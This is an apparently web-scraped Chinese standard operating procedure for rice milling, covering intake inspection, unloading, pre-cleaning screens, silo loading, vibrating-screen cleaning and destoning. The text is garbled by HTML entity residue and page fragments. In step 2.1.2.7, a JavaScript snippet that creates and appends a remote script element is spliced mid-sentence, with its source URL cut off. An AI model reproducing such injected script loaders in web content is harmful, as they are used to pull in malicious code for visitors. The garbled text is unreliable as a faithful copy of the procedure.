大米生产标准操作规程

1、大米生产标准操作规程  一、目的 规范大米生产环节中各工序的操作。  二、适用范围 公司所属车间水稻加工、大米再加工，水稻或大米的代加工，大米生产技术考核与培训。  三、标准操作规程     大米生产流程：       来料接收大米生产产品贮存 1.来料接收 来料接收操作流程 来料验收监督卸料清理上仓  1.1来料验收操作规程 1.1.1

2、适用范围：进入车间加工的原料，包括水稻、大米等。 1.1.2操作规程 1.1.2.1确认来料的品种和数量。 1.1.2.2索要该批物料的最新（3日内）品质检验报告。 1.1.2.3与生产计划中的原料要求进行比对，确定是否为所需原料，如有差异，应通知车间主任按规定处理。 1.1.2.4告知上料人员上料时间和上料口位置。 来料验收为关键控制点。   目的：分清各部门在原料质量管理方面的责任。   内容：对来料进行品质检验。  1.2监督卸料操作规程 

3、1.2.1适用范围：过秤后的散积或袋积物料，定量包装的物料。 1.2.2操作规程 1.2.2.1确保过秤后的物料安全运至上料口。如有散落，应要求运输工人及时收回；如有影响物料品质的因素（如淋雨等）时，应及时中止运输。 1.2.2.2检查并清除卸料作业区内有影响物料品质的因素，要求卸料过程在卸料区内完成。 1.2.2.3检查运输散积物料的车辆，确认车内物料已全部卸完；检查袋积物料的空包装物，确认袋内物料已全部倒出。 1.2.2.4整理卸料过程中散落的物料，并全部投入到上料口。 1.2.2.5办理物料交接手续。  1.

4、3清理操作规程 1.3.1适用范围：移动式圆筒初清筛，固定式圆筒初清筛。 1.3.2操作规程 1.3.2.1固定设备，保证设备在使用过程中不发生移动。确保设备出料口对准上仓设备的进料口，且不会发生刚性接触。  1.3.2.2检查初清筛的滚筒筛面，去除筛面上的杂质。 1.3.2.3检查初清筛的滚筒筛面，筛面应无破损，如有破损应立即更换（更换方法参阅设备维修维护手册）。 1.3.2.4下杂口挂好接料袋，确保杂质不外漏。 1.3.2.5点启动电机，观察设备运转情况。如有异常，按设备维修维护手册检查并排除故障。 1.3.2

5、.6启动电机，设备运转1分钟后开始给料。 1.3.2.7设备使用过程中，如有异常，应先停止给料，再关停设备，按设备维修维护手册检查并排除故障。 1.3.2.8下杂袋满了要及时更换。 1.3.2.9及时清理洒漏的物料，停料后，设备要继续运转2分钟再关机。 1.3.2.10清除滚筒筛面上的杂质。 1.3.2.11杂质过秤后运至指定位置。 1.3.2.12松开可移动设备的固定装置，移至指定位置。  1.4上仓操作规程 1.4.1适用范围：用输送设备把散料送入料仓。 1.4.2操作规程 1.4

6、.2.1确认输送设备的出料口对准指定的料仓。 1.4.2.2点启动电机，观察输送设备运转情况。如有异常，按设备维修维护手册检查并排除故障。 1.4.2.3启动电机，设备运转1分钟后开始给料。 1.4.2.4设备使用过程中，如有异常，应先停止给料，再关停设备，按设备维修维护手册检查并排除故障。 1.4.2.5停料后，设备要继续运转2分钟再关机。  2.大米生产 大米生产操作流程            

7、0;                                  初清清理去石砻谷谷糙分离厚度分级调质碾米白米分级色选抛光           

8、                                                  

9、                                稻壳粉碎 壳粉包装               

10、0;      长度分级 精选大米包装  2.1初清操作规程 2.1.1适用范围：自衡振动筛（无垂直吸风道），平面回转筛 2.1.2操作规程 2.1.2.1检查振动筛上、下层筛面，去除筛面上的杂质。 2.1.2.2检查振动筛上、下层筛面，筛面应无破损，如有破损应立即更换（更换方法参阅设备维修维护手册）。 2.1.2.3检查振动筛下杂口，清理杂质，确保下杂通畅。 2.1.2.4检查振动筛进料端筛框固定螺母，确保筛框已被压紧。 2.1.2.

11、5检查振动筛两侧筛框固定螺母，确保筛框已被锁紧。 2.1.2.6大、小杂接料口挂好接料袋，确保杂质不外漏。 2.1.2.7启动设备，注意观察筛体振动情况，如有不正常跳动、晃动现象或非正常响声，应 var script = document.createElement('script'); script.src = ' document.body.appendChild(script);立即停机，按设备维修维护手册检查并排除故障。 2.1.2.8打开给料闸门，调整匀料板使物料左右均匀流入上层筛面。调好后，必须用销紧螺母紧固匀料板轴。 

12、;2.1.2.9注意观察大、小杂内是否混有粮食，如混有粮食应立即停机，按设备维修维护手册检查筛面情况。 2.1.2.10上层筛面杂质至少每1小时清理一次，下杂袋满了要及时更换。 2.1.2.11给料停止后，设备继续运转2分钟后再停机。 2.1.2.12设备长时间不运转，应按设备维修维护手册拆下上、下层筛面完全去除杂质，并检查筛面是否有破损。  2.2清理操作规程 2.2.1适用范围：自衡振动筛（有垂直吸风道） 2.2.2操作规程 2.2.2.1检查振动筛上、下层筛面，去除筛面上的杂质。 2.2.2.2检查

13、振动筛上、下层筛面，筛面应无破损，如有破损应立即更换（更换方法参阅设备维修维护手册）。 2.2.2.3检查振动筛下杂口，清理杂质，确保下杂通畅。 2.2.2.4检查振动筛进料端筛框固定螺母，确保筛框已被压紧。 2.2.2.5检查振动筛两侧筛框固定螺母，确保筛框已被锁紧。 2.2.2.6大、小杂接料口挂好接料袋，确保杂质不外漏。 2.2.2.7启动吸风装置，使垂直吸风道内有风通过。 2.2.2.8启动清理设备，注意观察筛体振动情况，如有不正常跳动、晃动现象或非正常响声，应立即停机，按设备维修维护手册检查并排除故障。 2.2.2

14、.9打开给料闸门，调整匀料板使物料左右均匀流入上层筛面。调好后，必须用销紧螺母紧固匀料板轴。 2.2.2.10平稳地打开垂直吸风分离器风量调节板，小心调整风量，使粮食不随杂质吸出。 2.2.2.11注意观察大、小杂内是否混有粮食，如混有粮食应立即停机，按设备维修维护手册检查筛面情况。 2.2.2.12上层筛面杂质至少每1小时清理一次，下杂袋满了要及时更换。 2.2.2.13给料停止后，设备继续运转2分钟后再停机。 2.2.2.14设备长时间不运转，应按设备维修维护手册拆下上、下层筛面完全去除杂质，并检查筛面是否有破损。  2.3去石操作规程 2.3.1适用范围：比重分级去石机 2.3.2操作规程 2.3.2.1检查筛面是否平整、有无破损，如有问题应按设备维修维护手册拆下整个筛框并处理。&